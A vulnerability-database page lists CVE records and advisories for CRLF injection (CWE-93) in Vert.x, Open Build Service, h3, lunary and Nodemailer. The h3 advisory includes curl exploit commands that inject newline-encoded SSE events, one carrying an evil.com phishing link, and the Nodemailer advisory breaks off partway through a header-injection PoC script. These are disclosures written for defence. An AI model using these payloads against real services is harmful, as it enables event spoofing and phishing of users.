CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
323 vulnerabilities reference this CWE, most recent first.
CVE-2018-12537 (GCVE-0-2018-12537)
Vulnerability from cvelistv5 – Published: 2018-08-14 19:00 – Updated: 2024-08-05 08:38- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
| URL | Tags |
|---|---|
| https://github.com/eclipse/vert.x/commit/1bb64452… | x_refsource_CONFIRM |
| https://www.compass-security.com/fileadmin/Datein… | x_refsource_MISC |
| https://access.redhat.com/errata/RHSA-2018:2371 | vendor-advisoryx_refsource_REDHAT |
| https://github.com/eclipse/vert.x/issues/2470 | x_refsource_CONFIRM |
| https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038 | x_refsource_CONFIRM |
| https://access.redhat.com/errata/RHSA-2018:3768 | vendor-advisoryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=1591072 | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| The Eclipse Foundation | Eclipse Vert.x |
Affected:
3.0 , < unspecified
(custom)
Affected: unspecified , ≤ 3.5.1 (custom) |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T08:38:06.072Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/eclipse/vert.x/commit/1bb6445226c39a95e7d07ce3caaf56828e8aab72"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-021_vertx.txt"
},
{
"name": "RHSA-2018:2371",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2018:2371"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/eclipse/vert.x/issues/2470"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038"
},
{
"name": "RHSA-2018:3768",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1591072"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "Eclipse Vert.x",
"vendor": "The Eclipse Foundation",
"versions": [
{
"lessThan": "unspecified",
"status": "affected",
"version": "3.0",
"versionType": "custom"
},
{
"lessThanOrEqual": "3.5.1",
"status": "affected",
"version": "unspecified",
"versionType": "custom"
}
]
}
],
"datePublic": "2018-06-13T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response."
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2018-12-05T10:57:01.000Z",
"orgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"shortName": "eclipse"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/eclipse/vert.x/commit/1bb6445226c39a95e7d07ce3caaf56828e8aab72"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-021_vertx.txt"
},
{
"name": "RHSA-2018:2371",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2018:2371"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/eclipse/vert.x/issues/2470"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038"
},
{
"name": "RHSA-2018:3768",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1591072"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "security@eclipse.org",
"ID": "CVE-2018-12537",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "Eclipse Vert.x",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_value": "3.0"
},
{
"version_affected": "\u003c=",
"version_value": "3.5.1"
}
]
}
}
]
},
"vendor_name": "The Eclipse Foundation"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/eclipse/vert.x/commit/1bb6445226c39a95e7d07ce3caaf56828e8aab72",
"refsource": "CONFIRM",
"url": "https://github.com/eclipse/vert.x/commit/1bb6445226c39a95e7d07ce3caaf56828e8aab72"
},
{
"name": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-021_vertx.txt",
"refsource": "MISC",
"url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-021_vertx.txt"
},
{
"name": "RHSA-2018:2371",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2018:2371"
},
{
"name": "https://github.com/eclipse/vert.x/issues/2470",
"refsource": "CONFIRM",
"url": "https://github.com/eclipse/vert.x/issues/2470"
},
{
"name": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038",
"refsource": "CONFIRM",
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038"
},
{
"name": "RHSA-2018:3768",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"name": "https://bugzilla.redhat.com/show_bug.cgi?id=1591072",
"refsource": "CONFIRM",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1591072"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"assignerShortName": "eclipse",
"cveId": "CVE-2018-12537",
"datePublished": "2018-08-14T19:00:00.000Z",
"dateReserved": "2018-06-18T00:00:00.000Z",
"dateUpdated": "2024-08-05T08:38:06.072Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-12477 (GCVE-0-2018-12477)
Vulnerability from cvelistv5 – Published: 2018-10-09 13:00 – Updated: 2024-09-16 20:32- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
| URL | Tags |
|---|---|
| https://bugzilla.suse.com/show_bug.cgi?id=1108189 | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| openSUSE | Open Build Service |
Affected:
unspecified , < d6244245dda5367767efc989446fe4b5e4609cce
(custom)
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T08:38:06.254Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "Open Build Service",
"vendor": "openSUSE",
"versions": [
{
"lessThan": "d6244245dda5367767efc989446fe4b5e4609cce",
"status": "affected",
"version": "unspecified",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Matthias Gerstner of SUSE"
}
],
"datePublic": "2018-09-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2021-01-06T16:16:06.000Z",
"orgId": "f81092c5-7f14-476d-80dc-24857f90be84",
"shortName": "microfocus"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
}
],
"source": {
"defect": [
"https://bugzilla.suse.com/show_bug.cgi?id=1108189"
],
"discovery": "INTERNAL"
},
"title": "obs-service-refresh_patches can be tricked into deleting \u0027..\u0027 or other unrelated directories",
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "security@microfocus.com",
"DATE_PUBLIC": "2018-09-26T00:00:00.000Z",
"ID": "CVE-2018-12477",
"STATE": "PUBLIC",
"TITLE": "obs-service-refresh_patches can be tricked into deleting \u0027..\u0027 or other unrelated directories"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "Open Build Service",
"version": {
"version_data": [
{
"affected": "\u003c",
"version_affected": "\u003c",
"version_value": "d6244245dda5367767efc989446fe4b5e4609cce"
}
]
}
}
]
},
"vendor_name": "openSUSE"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Matthias Gerstner of SUSE"
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce."
}
]
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"version": "3.0"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://bugzilla.suse.com/show_bug.cgi?id=1108189",
"refsource": "CONFIRM",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
}
]
},
"source": {
"defect": [
"https://bugzilla.suse.com/show_bug.cgi?id=1108189"
],
"discovery": "INTERNAL"
}
}
}
},
"cveMetadata": {
"assignerOrgId": "f81092c5-7f14-476d-80dc-24857f90be84",
"assignerShortName": "microfocus",
"cveId": "CVE-2018-12477",
"datePublished": "2018-10-09T13:00:00.000Z",
"dateReserved": "2018-06-15T00:00:00.000Z",
"dateUpdated": "2024-09-16T20:32:32.887Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-22CC-P3C6-WPVM
Vulnerability from github – Published: 2026-03-18 16:17 – Updated: 2026-03-20 21:27Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
export function formatEventStreamComment(comment: string): string {
return `: ${comment}\n\n`;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += `id: ${message.id}\n`;
}
if (message.event) {
result += `event: ${message.event}\n`;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += `retry: ${message.retry}\n`;
}
result += `data: ${message.data}\n\n`;
return result;
}
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
- Inject arbitrary SSE fields — break out of one field and add
event:,data:,id:, orretry:directives - Inject entirely new SSE events — using
\n\nto terminate the current event and start a new one - Manipulate reconnection behavior — inject
retry: 1to force aggressive reconnection (DoS) - Override Last-Event-ID — inject
id:to manipulate which events are replayed on reconnection
Injection via the event field
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
Before exploit:
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: `${user}: ${msg}` });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
Exploit
# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
Raw wire format proving injection
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
- Cross-user content injection — inject fake messages in chat applications
- Phishing — inject fake system notifications with malicious links
- Event spoofing — trigger client-side handlers for privileged event types (e.g.,
admin,system) - Reconnection DoS — inject
retry: 1to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.1-rc.14"
},
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.1-rc.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33128"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:17:43Z",
"nvd_published_at": "2026-03-20T10:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n let result = \"\";\n if (message.id) {\n result += `id: ${message.id}\\n`;\n }\n if (message.event) {\n result += `event: ${message.event}\\n`;\n }\n if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n result += `retry: ${message.retry}\\n`;\n }\n result += `data: ${message.data}\\n\\n`;\n return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** \u2014 break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** \u2014 using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** \u2014 inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** \u2014 inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format: Actual wire format (with \\n injection):\n\nevent: message event: message\ndata: attacker: hey event: admin \u2190 INJECTED\n data: ALL_USERS_HACKED \u2190 INJECTED\n data: attacker: hey\n```\n\nThe browser\u0027s `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended: Actual (with \\n\\n injection):\n\nevent: message event: message\ndata: bob: hi data: bob: hi\n \u2190 event boundary\n event: system \u2190 INJECTED event\n data: Reset: evil.com \u2190 INJECTED data\n```\n\nBefore exploit:\n\u003cimg width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" /\u003e\n\n\u003cimg width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" /\u003e\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) =\u003e {\n const stream = createEventStream(event);\n clients.push(stream);\n stream.onClosed(() =\u003e {\n clients.splice(clients.indexOf(stream), 1);\n stream.close();\n });\n return stream.send();\n});\n\napp.get(\"/send\", async (event) =\u003e {\n const query = getQuery(event);\n const user = query.user as string;\n const msg = query.msg as string;\n const type = (query.type as string) || \"message\";\n\n for (const client of clients) {\n await client.push({ event: type, data: `${user}: ${msg}` });\n }\n\n return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker\u0026msg=hey\u0026type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob\u0026msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal\u0026type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x\u0026msg=test%0aretry:%201\u0026type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser\u0027s `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` \u2014 entirely controlled by the attacker.\n\nProof:\n\n\u003cimg width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" /\u003e\n\n\u003cimg width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" /\u003e\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** \u2014 inject fake messages in chat applications\n- **Phishing** \u2014 inject fake system notifications with malicious links\n- **Event spoofing** \u2014 trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** \u2014 inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** \u2014 override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration \u2014 the framework\u0027s API accepts arbitrary strings but does not enforce the SSE protocol\u0027s invariant that field values must not contain newlines.",
"id": "GHSA-22cc-p3c6-wpvm",
"modified": "2026-03-20T21:27:39Z",
"published": "2026-03-18T16:17:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33128"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields"
}
GHSA-2443-9W48-793G
Vulnerability from github – Published: 2024-10-29 15:32 – Updated: 2024-10-29 15:32lunary-ai/lunary v1.2.26 contains an email injection vulnerability in the Send email verification API (/v1/users/send-verification) and Sign up API (/auth/signup). An unauthenticated attacker can inject data into outgoing emails by bypassing the extractFirstName function using a different whitespace character (e.g., \xa0). This vulnerability can be exploited to conduct phishing attacks, damage the application's brand, cause legal and compliance issues, and result in financial impact due to unauthorized email usage.
{
"affected": [],
"aliases": [
"CVE-2024-7472"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-75",
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T13:15:09Z",
"severity": "MODERATE"
},
"details": "lunary-ai/lunary v1.2.26 contains an email injection vulnerability in the Send email verification API (/v1/users/send-verification) and Sign up API (/auth/signup). An unauthenticated attacker can inject data into outgoing emails by bypassing the extractFirstName function using a different whitespace character (e.g., \\xa0). This vulnerability can be exploited to conduct phishing attacks, damage the application\u0027s brand, cause legal and compliance issues, and result in financial impact due to unauthorized email usage.",
"id": "GHSA-2443-9w48-793g",
"modified": "2024-10-29T15:32:05Z",
"published": "2024-10-29T15:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7472"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/a39837d7c49936a0c435d241f37ca2ea7904d2cd"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/dc1feec6-1efb-4538-9b56-ab25deb80948"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-268H-HP4C-CRQ3
Vulnerability from github – Published: 2026-06-15 17:36 – Updated: 2026-06-15 17:36Summary
Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.
An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.
Details
Source-to-sink evidence:
lib/mailer/mail-message.js:241-249calls_getListHeaders(this.data.list)and adds each returned value withthis.message.addHeader(listHeader.key, value).lib/mailer/mail-message.js:253-296builds each list header value as{ prepared: true, foldLines: true, value: ... }.- For
List-ID,lib/mailer/mail-message.js:272-279copiesvalue.commentinto the generated header value. IfmimeFuncs.isPlainText(comment)returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it. - For the other
List-*headers,lib/mailer/mail-message.js:283-288copiesvalue.commentinto(<comment>). IfmimeFuncs.isPlainText(comment)returns true, the value is not encoded or CRLF-normalized. lib/mime-node/index.js:323-351accepts the prepared header object.lib/mime-node/index.js:533-540trustsoptions.prepared; whenfoldLinesis set, it pushesmimeFuncs.foldLines(key + ': ' + value)directly into the header block.- The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
lib/mailer/mail-message.js:299-308removes whitespace and angle brackets fromlist.*.url, so the confirmed injection source is thecommentfield, not the URL field.
Default/common exposure evidence:
lib/nodemailer.js:21-60exposes the publiccreateTransport(...).sendMail(...)flow used by the package.examples/full.js:106-123documentslist.unsubscribe.commentandlist.id.commentas normal message options.- The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.
False-positive screening and negative controls:
- SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
- Ordinary
subjectheader input containing CRLF was normalized to a singleSubject:header and did not createX-Injectedin the local control case. - Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
prepared: truecustom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documentedlist.*.commentoption.
Variant analysis:
Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.
Affected version evidence and uncertainty:
- Confirmed vulnerable:
nodemailer8.0.8 at commit15138a84c543c20aa399218534cdbbfa2ea1ce55. - Git history shows
_getListHeaderspresent in historical commits including22fcff8(v4.3.0) and related list-header work in9b4f90a(v3.1.8), but older versions were not dynamically tested during this audit. - Affected range is therefore recorded as unknown beyond the confirmed current version.
- No patched version was identified in this checkout.
Severity rationale:
- AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
- AC: A single CRLF sequence in a documented message option triggers the issue.
- PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
- UI: No maintainer or victim interaction is needed after the application accepts the message object.
- S: The impact remains in the application/mail-generation security scope.
- C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
- A: No availability impact was demonstrated.
Final self-review:
- Reproduction evidence was generated locally from this checkout with a safe in-memory
streamTransportPoC and a negativeSubjectcontrol case. - The PoC is non-destructive and does not send network traffic outside the process.
- The observed output contains an actual CRLF-delimited injected header line.
- Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
- The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC
From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:
node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
const positive = await transport.sendMail({
from: 'sender@example.test',
to: 'recipient@example.test',
subject: 'control',
list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
text: 'body'
});
const positiveRaw = positive.message.toString('utf8');
console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
